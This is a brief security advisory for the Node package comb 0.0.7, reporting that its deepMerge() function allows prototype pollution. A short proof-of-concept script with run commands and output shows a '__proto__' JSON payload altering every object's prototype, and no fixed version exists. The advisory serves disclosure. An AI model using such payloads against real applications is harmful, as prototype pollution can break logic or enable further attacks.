comb@0.0.7 vulnerabilities

comb is a framework for node

Affected versions of this package are vulnerable to Prototype Pollution via the deepMerge() function.

##PoC:

// PoC.js
var deepMerge = require("comb/lib/base/object.js").deepMerge

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepMerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

Execute the following commands in the terminal:

npm i comb # Install affected module
node PoC.js # Run the PoC

Check the Output:

"Before: undefined"
"After : Yes! Its Polluted"

There is no fixed version for comb.